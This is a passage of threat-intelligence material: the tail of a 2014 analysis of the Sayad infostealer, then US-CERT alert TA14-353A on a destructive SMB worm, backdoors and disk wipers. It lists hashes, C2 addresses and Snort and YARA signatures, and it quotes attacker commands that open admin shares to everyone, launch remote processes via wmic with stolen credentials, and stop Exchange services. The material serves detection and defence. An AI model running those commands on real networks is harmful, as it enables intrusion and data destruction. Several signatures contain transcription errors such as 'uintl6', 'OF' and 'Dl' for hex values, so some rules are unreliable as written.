found & start collectiong data" wide $debugstr08 = "Machine info collected" wide $debugstr09 = "browser ok" wide $debugstr10 = "messenger ok" wide $debugstr11 = "vpn ok" wide $debugstr12 = "ftp client ok" wide $debugstr13 = "ftp server ok" wide $debugstr14 = "rdp ok" wide $debugstr15 = "kerio ok" wide $debugstr16 = "skype ok" wide $debugstr17 = "serialize data ok" wide $debugstr18 = "Keylogged" wide condition: all of them Tools used for dissecting Sayad (Update 24th of July, 2014) ve received a request to list the tools used for analyzing Sayad malware. Hope that would help other researchers. Vinsula Execution Engine Kernel mode behavioral monitoring framework for 32-bit and 64-bit Windows http://vinsula.com/about/our-technology/ IDA Pro The ultimate x64/x86 disassembler and a fantastic debugger https://www.hex-rays.com/products/ida/ WinDBG Microsoft Debugging Tools for Windows kernel and user mode debugger http://msdn.microsoft.com/en-au/windows/hardware/hh852365.aspx .NET Reflector .NET C#/MSIL decompiler and .NET debugger http://www.red-gate.com/products/dotnet-development/reflector/ Dependency Walker provides a tree of all dependent DLLs and APIs http://www.dependencywalker.com/ PEview Portable Executable Explorer http://www.aldeid.com/wiki/PEView Fiddler free Web debugging proxy http://www.telerik.com/fiddler SysInternals Process Explorer http://technet.microsoft.com/en-au/sysinternals/bb896653.aspx IP Geolocator http://www.ipligence.com/geolocation WHOIS Search http://www.whois.net/ https://who.is/ YARA The pattern matching swiss knife for malware researchers We use YARA to create the malware signatures http://plusvic.readthedocs.org/en/modules/gettingstarted.html http://plusvic.github.io/yara/ Hashmyfiles by Nir Sofer Calculate MD5/SHA1/CRC32 hashes of files http://www.nirsoft.net/utils/hash_my_files.html Summary With this particular sample, the malicious server as of this writing is up and running. The Sayad malware doesn t seem to be implementing any sophisticated mechanisms for collecting and transmitting the stolen data. The hashes of the files related to this sample are copied below. ================================================== Filename : WEXTRACT.exe : a7813001063a23627404887b43616386 SHA1 : 1c52b749403d3f229636f07b0040eb17beba28e4 SHA-256 8904836017bc20972a769f8d4d6bee08388da3d0f83e362e67f9f0b6b1ae5c12 Modified Time : 15/07/2014 6:17:44 PM Created Time : 17/07/2014 10:21:15 AM File Size : 223,744 File Version : 11.00.9600.16428 (winblue_gdr.131013-1700) Product Version : 11.00.9600.16428 Identical Extension : exe File Attributes ================================================== ================================================== Filename : ~8f60957b3689075fa093b047242c0255.exe : 72641dedb31280b78bf6a0f184ef29b6 SHA1 : 69fd05ca3a7514ea79480d1dbb358fab391e738d SHA-256 780c86ec885ea48316995ae69965e314a750848413f94907cf54bdeba09b5c3c Modified Time : 14/07/2014 9:53:14 AM Created Time : 19/07/2014 12:00:58 PM File Size : 321,008 File Version : 1.0.0.0 Product Version : 1.0.0.0 Identical Extension : exe File Attributes ================================================== ================================================== Filename : DiagnosticsService.dll : 432a79f8f1402cb2622b27e26e900d55 SHA1 : 8521eefbf7336df5c275c3da4b61c94062fafdda SHA-256 bae3171917daf3eb498ae2fb1d0fcbfbb684a5314a8cbef2d5e3bd4c30ece8e1 Modified Time : 17/07/2014 10:16:25 AM Created Time : 17/07/2014 2:17:55 PM File Size : 150,528 File Version : 1.0.0.0 Product Version : 1.0.0.0 Identical Extension : dll File Attributes ================================================== ================================================== Filename : sqlite3.dll : 529ecf76409537ab5ac140a5e6fec79d SHA1 : 25c3720c06de6d9b584a06ddf44c079c24df30ce SHA-256 c8571f963541414666397dce06657594560eed4943c93780eb7a2358f0645515 Modified Time : 17/07/2014 10:16:43 AM Created Time : 17/07/2014 2:17:55 PM File Size : 291,328 File Version Product Version Identical Extension : dll File Attributes ================================================== ================================================== Filename : base.dll : 4a67b19c02d5cfdebcd85b7395d09881 SHA1 : 082da03918039125dcf1f096a13ffa9ab6a56bde SHA-256 35cd39d419ab386aaa534b4ce95aa7fcda696ef6960fd103beaecf71bacd7398 Modified Time : 17/07/2014 10:16:26 AM Created Time : 17/07/2014 2:17:55 PM File Size : 361 File Version Product Version Identical Extension : dll File Attributes ================================================== Alert (TA14-353A) Targeted Destructive Malware Original release date: December 19, 2014 Systems Affected Microsoft Windows Overview US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation activities recently targeting a major entertainment company. This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool, Destructive Hard Drive Tool, and Destructive Target Cleaning Tool. SMB Worm Tool: This worm uses a brute force authentication attack to propagate via Windows SMB shares. It connects home every five minutes to send log data back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445. The tool also accepts new scan tasking when it connects to C2. There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread attempts to guess passwords for SMB connections. If the password is correctly guessed, a file share is established and file is copied and run on the newly-infected host. Listening Implant: During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase "National Football League." Additionally, this implant listens for connections on TCP port 195 (for "sensvc.exe" and "msensvc.exe") and TCP port 444 (for "netcfg.dll"). Each message sent to and from this implant is preceded with its length, then XOR encoded with the byte 0x1F. Upon initial connection, the victim sends the string, "HTTP/1.1 GET /dns? \x00." The controller then responds with the string "200 www.yahoo.com!\x00" (for "sensvc.exe" and "msensvc.exe") or with the string "RESPONSE 200 OK!!" (for "netcfg.dll"). The controller sends the byte "!" (0x21) to end the network connection. This special message is not preceded with a length or XOR encoded. Lightweight Backdoor: This is a backdoor listener that is designed as a service DLL. It includes functionality such as file transfer, system survey, process manipulation, file time matching and proxy capability. The listener can also perform arbitrary code execution and execute commands on the command line. This tool includes functionality to open ports in a victim host's firewall and take advantage of universal Plug and Play (UPNP) mechanisms to discover routers and gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks. There are no callback domains associated with this malware since connections are inbound only on a specified port number. Proxy Tool: Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443. The implant may have an associated configuration file which can contain a configurable port. This proxy tool has basic backdoor functionality, including the ability to fingerprint the victim machine, run remote commands, perform directory listings, perform process listings, and transfer files. Destructive Hard Drive Tool: This tool is a tailored hard-drive wiping tool that is intended to destroy data past the point of recovery and to complicate the victim machine s recovery. If the CNE operator has administrator-level privileges on the host, the program will over-write portions of up-to the first four physical drives attached, and over-write the master boot record (MBR) with a program designed to cause further damage if the hard drive is re-booted. This further results in the victim machine being non-operational with irrecoverable data (There is a caveat for machines installed with the windows 7 operating system: windows 7 machines will continue to operate in a degraded state with the targeted files destroyed until after reboot, in which the infected MBR then wipes the drive.) If the actor has user-level access, the result includes specific files being deleted and practically irrecoverable, but the victim machine would remain usable. Destructive Target Cleaning Tool: This tool renders victim machines inoperable by overwriting the Master Boot Record. The tool is dropped and installed by another executable and consists of three parts: an executable and a dll which contain the destructive components, and an encoded command file that contains the actual destruction commands to be executed. Network Propagation Wiper: The malware has the ability to propagate throughout the target network via built-in Windows shares. Based on the username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares in order to upload a copy of the wiper and begin the wiping process on these remote systems. The malware uses several methods to access shares on the remote systems to begin wiping files. Checking for existing shares via \\hostname\admin$\system32 and \\hostname\shared$\system32 or create a new share cmd.exe /q /c net share shared$=%SystemRoot% /GRANT:everyone, FULL . Once successful, the malware uploads a copy of the wiper file taskhostXX.exe , changes the file-time to match that of the built-in file calc.exe , and starts the remote process. The remote process is started via the command cmd.exe /c wmic.exe /node:hostname /user:username /password:pass PROCESS CALL CREATE . Hostname, username, and password are then obtained from the configuration file. Afterwards, the remote network share is removed via cmd.exe /q /c net share shared$ /delete . Once the wiper has been uploaded, the malware reports its status back to one of the four C2 IP addresses. Technical and strategic mitigation recommendations are included in the Solution section below. US-CERT recommends reviewing the Security Tip Handling Destructive Malware #ST13-003. Description Cyber threat actors are using an SMB worm to conduct cyber exploitation activities. This tool contains five components a listening implant, lightweight backdoor, proxy tool, destructive hard drive tool, and destructive target cleaning tool. The SMB worm propagates throughout an infected network via brute-force authentication attacks, and connects to a C2 infrastructure. Impact Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and disruption of critical systems. Solution Users and administrators are recommended to take the following preventive measures to protect their computer networks: Use and maintain anti-virus software Anti-virus software recognizes and protects your computer against most known viruses. It is important to keep your anti-virus software up-to-date (see Understanding Anti-Virus Software for more information). Keep your operating system and application software up-to-date Install software patches so that attackers can't take advantage of known problems or vulnerabilities. Many operating systems offer automatic updates. If this option is available, you should enable it (see Understanding Patches for more information). Review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event. Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies (pdf). The following is a list of the Indicators of Compromise (IOCs) that can be added to network security solutions to determine whether they are present on a network. MD5s: SMB worm tool: MD5: f6f48551d7723d87daeef2e840ae008f Characterization: File Hash Watchlist Notes: "SMB worm tool" Earliest PE compile Time: 20141001T072107Z Most Recent PE compile Time: 20141001T072107Z MD5: 194ae075bf53aa4c83e175d4fa1b9d89 Characterization: File Hash Watchlist Notes: "SMB worm tool" Earliest PE compile Time: 20141001T120954Z Most Recent PE compile Time: 20141001T142138Z Lightweight backdoor: MD5: f57e6156907dc0f6f4c9e2c5a792df48 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20110411T225224Z Latest PE compile time: 20110411T225224Z MD5: 838e57492f632da79dcd5aa47b23f8a9 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20110517T050015Z Latest PE compile time: 20110605T204508Z MD5: 11c9374cea03c3b2ca190b9a0fd2816b Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20110729T062417Z Latest PE compile time: 20110729T062958Z MD5: 7fb0441a08690d4530d2275d4d7eb351 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20120128T071327Z Latest PE compile time: 20120128T071327Z MD5: 7759c7d2c6d49c8b0591a3a7270a44da Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20120309T105837Z Latest PE compile time: 20120309T105837Z MD5: 7e48d5ba6e6314c46550ad226f2b3c67 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20120311T090329Z Latest PE compile time: 20120311T090329Z MD5: 0a87c6f29f34a09acecce7f516cc7fdb Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20120325T053138Z Latest PE compile time: 20130513T090422Z MD5: 25fb1e131f282fa25a4b0dec6007a0ce Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20130802T054822Z Latest PE compile time: 20130802T054822Z MD5: 9761dd113e7e6673b94ab4b3ad552086 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20130913T013016Z Latest PE compile time: 20130913T013016Z MD5: c905a30badb458655009799b1274205c Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20140205T090906Z Latest PE compile time: 20140205T090906Z MD5: 40adcd738c5bdc5e1cc3ab9a48b3df39 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20140320T152637Z Latest PE compile time: 20140402T023748Z MD5: 68a26b8eaf2011f16a58e4554ea576a1 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20140321T014949Z Latest PE compile time: 20140321T014949Z MD5: 74982cd1f3be3d0acfb0e6df22dbcd67 Characterization: File Hash Watchlist Notes: "Lightweight backdoor" Earliest PE compile time: 20140506T020330Z Latest PE compile time: 20140506T020330Z Proxy tool: MD5: 734740b16053ccc555686814a93dfbeb Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140611T064905Z Latest PE compile time: 20140611T064905Z MD5: 3b9da603992d8001c1322474aac25f87 Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140617T035143Z Latest PE compile time: 20140617T035143Z MD5: e509881b34a86a4e2b24449cf386af6a Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time : 20140618T064527Z Latest PE compile time: 20140618T064527Z MD5: 9ab7f2bf638c9d911c2c742a574db89e Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140724T011233Z Latest PE compile time: 20140724T011233Z MD5: a565e8c853b8325ad98f1fac9c40fb88 Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140724T065031Z Latest PE compile time: 20140902T135050Z MD5: 0bb82def661dd013a1866f779b455cf3 Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140819T024812Z Latest PE compile time: 20140819T024812Z MD5: b8ffff8b57586d24e1e65cd0b0ad9173 Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140902T172442Z Latest PE compile time: 20140902T172442Z MD5: 4ef0ad7ad4fe3ef4fb3db02cd82bface Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20141024T134136Z Latest PE compile time: 20141024T134136Z MD5: eb435e86604abced7c4a2b11c4637a52 Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140526T010925Z Latest PE compile time: 20140526T010925Z MD5: ed7a9c6d9fc664afe2de2dd165a9338c Characterization: File Hash Watchlist Notes: "Proxy tool" Earliest PE compile time: 20140611T064904Z Destructive hard drive tool: MD5: 8dec36d7f5e6cbd5e06775771351c54e Characterization: File Hash Watchlist Notes: "Destructive hard drive tool" Earliest PE compile time: 20120507T151820Z Latest PE compile time: 20120507T151820Z MD5: a385900a36cad1c6a2022f31e8aca9f7 Characterization: File Hash Watchlist Notes: "Destructive target cleaning tool" Earliest PE compile time: 20130318T003315Z Latest PE compile time: 20130318T003315Z MD5: 7bea4323807f7e8cf53776e24cbd71f1 Characterization: File Hash Watchlist Notes: "Destructive target cleaning tool" Earliest PE compile time: 20130318T003319Z Latest PE compile time: 20130318T003319Z Name: d1c27ee7ce18675974edf42d4eea25c6.bin Size: 268579 bytes (268.6 KB) MD5: D1C27EE7CE18675974EDF42D4EEA25C6 PE Compile Time: 2014-11-22 00:06:54 The malware has the following characteristics: While the original filename of this file is unknown, it was likely diskpartmg16.exe . This file serves as a dropper. It drops destructive malware: igfxtrayex.exe When the dropper file was executed, it started a second instance of itself with as an argument, and then terminated. The second instance of the dropper file installed itself as the WinsSchMgmt service with as a command line argument, started the service, and then terminated. The WinsSchMgmt service executed the file with as an argument, which started another instance of the file using as an argument. The instance dropped and executed igfxtrayex.exe , created net_ver.dat , and began generating network traffic over TCP ports 445 and 139 to victim IP addresses. Name: net_ver.dat Size: 4572 bytes (4.6 KB) (size will vary) MD5: 93BC819011B2B3DA8487F964F29EB934 (hash will vary) This is a log file created by the dropper, and appended to as the scans progress It contains what appear to be hostnames, IP addresses, and the number 2. Entries in the file have the structure HOSTNAME | IP Address | 2 Name: igfxtrayex.exe Size: 249856 bytes (249.9 KB) MD5: 760C35A80D758F032D02CF4DB12D3E55 PE Compile Time: 2014-11-24 04:11:08 This file is destructive malware: a disk wiper with network beacon capabilities. If igfxtrayex.exe is run with no parameters, it creates and starts a copy of itself with the argument. After 10 minutes, the igfxtrayex.exe makes three copies of itself and places them in the same directory from which it was executed. These copies are named according to the format taskhostXX.exe (where X is a randomly generated ASCII character). These copies are then executed, each with a different argument (one being , one being and the other ). Network connection attempts are made to one of three hard-coded IP addresses in a random order to port 8080 or 8000. If a connection to the IP address cannot be made, it attempts to connect to another of the three IP addresses, until connections to all three IP addresses have been attempted. The following command-line string is then executed: cmd.exe /c net stop MSExchangeIS /y . A 120-minute (2 hour) sleep command is issued after which the computer is shut down and rebooted. Name: iissvr.exe Size: 114688 bytes (114.7 KB) MD5: E1864A55D5CCB76AF4BF7A0AE16279BA PE Compile Time: 2014-11-13 02:05:35 This file, when executed, starts a listener on localhost port 80. It has 3 files contained in the resource section; all xor d with 0x63. Name: usbdrv3_32bit.sys Size: 24280 bytes (24.3 KB) MD5: 6AEAC618E29980B69721158044C2E544 PE Compile Time: 2009-08-21 06:05:32 This SYS file is a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, 2003, Vista, 2008 (32-bit). It is dropped from resource ID 0x81 of igfxtrayex.exe Name: usbdrv3_64bit.sys Size: 28120 bytes (28.1 KB) MD5: 86E212B7FC20FC406C692400294073FF PE Compile Time: 2009-08-21 06:05:35 This SYS file is a also a commercially available tool that allows read/write access to files and raw disk sectors for user mode applications in Windows 2000, XP, 2003, Vista, 2008 (64-bit). It is dropped from resource ID 0x83 of igfxtrayex.exe Name: igfxtpers.exe Size: 91888 bytes (91.9 KB) MD5: e904bf93403c0fb08b9683a9e858c73e PE Compile Time: 2014-07-07 08:01:09 A summary of the C2 IP addresses: IP Address 203.131.222.102 Country Thailand Port 8080 217.96.33.164 Poland 8000 88.53.215.64 Italy 8000 200.87.126.116 58.185.154.99 212.31.102.100 208.105.226.235 Bolivia Singapore Cypress United States 8000 8080 8080 Snort signatures: SMB Worm Tool (not necessarily the tool itself): Filename Diskpartmg16.exe igfxtrayex.exe igfxtpers.exe Diskpartmg16.exe igfxtrayex.exe Diskpartmg16.exe igfxtrayex.exe File 7 File 7 File 7 igfxtpers.exe alert tcp any any -> any any (msg:"Wiper1";content:"|be 64 ba f2 a8 64|";offset:16;depth:6;sid:1;) alert tcp any any -> any any (msg:"Wiper2";content:"|c9 06 d9 96 fc 37 23 5a fe f9 40 ba 4c 94 14 98|";offset:0;depth:16;sid:3;) alert tcp any any -> any any (msg:"Wiper3";content:"|aa 64 ba f2 56 9b|";offset:0;depth:50;sid:2;) alert ip any any -> any any (msg:"Wiper4";content:"|aa 74 ba f2 b9 75|";offset:0;depth:74;sid:4;) Listening Implant: alert tcp any any -> any any (msg:"Backdoor1";content:"|0c 1f 1f 1f 4d 5a 4c 4f 50 51 4c 5a 3f 2d 2f 2f 3f 50 54 3e 3e 3e|";offset:0;depth:22;sid:9;) alert tcp any any -> any any (msg:"Backdoor2";content:"|d3 c4 d2 d1 ce cf d2 c4 a1 b3 b1 b1 a1 ce ca a0 a0 a0|";offset:0;depth:18;sid:12;) alert ip any any -> any any (msg:"Backdoor3";content:"|17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78 47 47|";depth:24;sid:1;) alert ip any any -> any any (msg:"Backdoor4";content:"|4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20 1f|";depth:23;sid:2;) alert ip any any -> any any (msg:"Backdoor5";content:"|15 02 14 17 08 09 14 02 67 75 77 77 67 08 0c 66 66 66|";depth:22;sid:3;) alert tcp any any -> any any (msg:"Backdoor6";content:"|09 22 33 30 28 35 2c|";sid:4;) alert tcp any any -> any any (msg:"Backdoor7";content:"|13 2f 22 35 22 67 26 35 22 29 27 33 67 28 37 22 29 67 37 28 35 33 34 69|";sid:5;) alert tcp any any -> any any (msg:"Backdoor8";content:"|43 47 47 47 45 67 47 47 43 47 47 47 44 67 47 47|";sid:6;) alert tcp any any -> any any (msg:"Backdoor9";content:"|43 47 47 47 42 67 47 47 43 47 47 47 4f 67 47 47 43 47 47 47 43 67 47 47 43 47 47 47 4e 67 47 47|";sid:7;) alert tcp any any -> any any (msg:"Backdoor10";content:"|d1 ce d2 d5 a1 c9 d5 d5 d1 a1 d3 c4 d0 d4 c4 d2 d5 be|";offset:0;depth:18;sid:8;) alert tcp any any -> any any (msg:"Backdoor11";content:"|17 08 14 13 67 0f 13 13 17 67 15 02 16 12 02 14 13 78|";offset:0;depth:18;sid:10;) alert tcp any any -> any any (msg:"Backdoor12";content:"|0c 1f 1f 1f 4f 50 4c 4b 3f 57 4b 4b 4f 3f 4d 5a 4e 4a 5a 4c 4b 20|";sid:11;) Lightweight Backdoor: alert tcp any 488 <> any any (msg:"Proxy1";content:"|60 db 37 37 37 37 37 37|";sid:3;) alert tcp any any -> any 488 (msg:"Proxy2";content:"|60 db 37 37 37 37 37 37|";sid:4;) alert tcp any any -> any any (msg:"Proxy3";content:"|4c 4c|";offset:16;depth:2;content:"|75 14 2a 2a|";distance:4;within:4;sid:4;) alert tcp any any -> any any (msg:"Proxy4";content:"|8A 10 80 C2 67 80 F2 24 88 10|";content:"8A 10 80 F2 24 80 EA 67 88 10";sid:2;) alert tcp any 488 <> any any (msg:"Proxy5";content:"|65 db 37 37 37 37 37 37|";sid:2;) alert tcp any any -> any 488 (msg:"Proxy6";content:"|65 db 37 37 37 37 37 37|";sid:2;) alert tcp any [547,8080,133,117,189,159] -> any any (msg:"Proxy7";content:"|7b 08 2a 2a|";offset:17;content:"|08 2a 2a 01 00|";distance:0;sid:1;) alert tcp any any -> any any (msg:"Proxy8";content:"|8A 10 80 EA 62 80 F2 B4 88 10|";content:"|8A 10 80 F2 B4 80 C2 62 88 10|";sid:1;) alert tcp any any -> any any (msg:"Proxy9";content:"|8A 10 80 C2 4E 80 F2 79 88 10|";content:"|8A 10 80 F2 79 80 EA 4E 88 10[";sid:3;) alert tcp any any -> any any (msg:"Proxy10";content:"Sleepy!@#qaz13402scvsde890";nocase;content:"BC435@PRO62384923412!@3!";nocase;sid:5;) Proxy Tool: alert tcp any any -> any any (msg:"Wiper1";content:"|8A 10 80 C2 3A 80 F2 73 88 10|";content:"|8A 10 80 F2 73 80 EA 3A 88 10|";sid:4;) alert tcp any any -> any any (msg:"Wiper2";content:!"HTTP/1";content:"|e2 1d 49 49|";offset:O;depth:4;content:"|49 49 49 49|";distance:4;within:4;sid:6;) alert tcp any any -> any any (msg:"Wiper3";content:"|82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 D1 C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00|";sid:1;) Malware associated with the cyber threat actor: alert tcp any any -> any [8000,8080] (msg:"WIPER4";flow: established, to_server;dsize:42;content:"|28 00|";depth:2;content:"|04 00 00 00|";offset:38;depth:4;sid:123;) Host Based Indicators Below are potential YARA signatures to detect malware binaries on host machines: SMB Worm Tool: strings: $STR1 = "Global\\FwtSqmSession106829323_S-1-5-19" $STR2 ="EVERYONE" $STR3 = "y0uar3@s!llyid!07,ou74n60u7f001" $STR4 = "\\KB25468.dat" condition: (uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) ==0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Lightweight Backdoor: strings: $STR1 = ''NetMgStart" $STR2 = ''Netmgmt.srg" condition: (uint16(0) == 0x5A4D) and all of them Lightweight Backdoor: strings: $STR1 = "prxTroy" ascii wide nocase condition: (uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Lightweight Backdoor: strings: $strl = { C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1 62 C6 45 F2 6C } // 'dayipmr.tbl' being moved to ebp condition: (uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Lightweight Backdoor: strings: $strl = { C6 45 F4 61 C6 45 F5 6E C6 45 F6 73 C6 45 F7 69 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'ansi.nls' being moved to ebp condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Lightweight Backdoor: strings: $strl = { C6 45 F4 74 C6 45 F5 6C C6 45 F6 76 C6 45 F7 63 C6 45 F8 2E C6 45 F9 6E C6 45 FA 6C C6 45 FB 73 } // 'tlvc.nls' being moved to ebp condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Lightweight Backdoor: strings: $STR1 = { 8A 10 80 ?? 4E 80 ?? 79 88 10} $STR2 = {SA 10 80?? 79 80 ?? 4E 88 10} condition: (uintl6(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Proxy Tool: strings: $STR1 = "pmsconfig.msi" wide $STR2 = "pmslog.msi" wide condition: (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them Proxy Tool: strings: $STR1 = { 82 F4 DE D4 D3 C2 CA F5 C8 C8 D3 82 FB F4 DE D4 D3 C2 CA 94 95 FB D4 Dl C4 CF C8 D4 D3 89 C2 DF C2 87 8A CC 87 00 } // '%SystemRoot%\System32\svchost.exe -k' xor A7 condition: (uint16(0) == 0x5A4D or uintl6(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them Proxy Tool: strings: $STR2 = {8A 04 17 8B FB 34 A7 46 88 02 83 C9 FF} condition: (uintl6(0) == 0x5A4D or uint16(0) == 0xCFD0 or uintl6(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $STR2 Destructive Hard Drive Tool: strings: $str0= "MZ" $str1 = {c6 84 24 ?? ( 00 | 01 ) 00 00 } $xorInLoop = { 83 EC 20 B9 08 00 00 00 33 D2 56 8B 74 24 30 57 8D 7C 24 08 F3 A5 8B 7C 24 30 85 FF 7E 3A 8B 74 24 2C 8A 44 24 08 53 8A 4C 24 21 8A 5C 24 2B 32 C1 8A 0C 32 32 C3 32 C8 88 0C 32 B9 1E 00 00 00 8A 5C 0C 0C 88 5C 0C 0D 49 83 F9 FF 7F F2 42 88 44 24 0C 3B D7 7C D0 5B 5F 5E 83 C4 20 C3 } condition: $str0 at 0 and $xorInLoop and #str1 > 300 Destructive Target Cleaning Tool: strings: $s1 = {d3000000 [4] 2c000000 [12] 95000000 [4] 6a000000 [8] 07000000} condition: (uintl6(0) == 0x5A4D and uintl6(uint32(0x3c)) == 0x4550) and all of them Destructive Target Cleaning Tool: strings $secureWipe= { 83 EC 34 53 55 8B 6C 24 40 56 57 83 CE FF 55 C7 44 24 2C D3 00 00 00 C7 44 24 30 2C 00 00 00 89 74 24 34 89 74 24 38 C7 44 24 3C 95 00 00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 89 44 24 1C OF 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF 89 5C 24 14 OF 84 (BC | BD) 01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ?? ?? ?? ?? 8B 44 24 4C 2B C7 74 20 48 74 0F 83 E8 02 75 1C C7 44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 OF 8E ( 5C | 5d ) 01 00 00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14) 33 F6 (E8 | ff 15) ?? ?? ?? ?? 88 04 1E 46 81 FE 00 00 01 00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF OF 84 FA 00 00 00 8D 44 24 20 50 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 CO 7C 5A 7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ?? ?? ?? ?? 8B 6C 24 18 8B 44 24 24 03 FD 83 D3 00 3B D8 7C BE 7F 08 8B 54 24 20 3B FA 72 B8 8B 2D ?? ?? ?? ?? 8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 4C 8B 6C 24 48 47 83 C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ?? ?? ?? ?? 83 C4 08 53 FF 15 ?? ?? ?? ?? 5F 5E 5D 5B 83 C4 34 C3} condition: $secureWipe Destructive Target Cleaning Tool: strings: $S1_CMD_Arg = ""/install'"' fullword $S2_CMD_Parse= ""\""%s'"' /install \""%s\""'"' fullword $S3_CMD_Builder= ""\'"'%s\"" \""%s\'"' \""%s\'"' %s'"' fullword condition: all of them Destructive Target Cleaning Tool: strings: $BATCH_SCRIPT_LN1_0 = ""goto x"" fullword $BATCH_SCRIPT_LN1_1 = '"'del"" fullword $BATCH_SCRIPT_LN2_0 = ""if exist"" fullword $BATCH_SCRIPT_LN3_0 = "":x'"' fullword $BATCH_SCRIPT_LN4_0 = ""zz%d.bat"'' fullword condition: 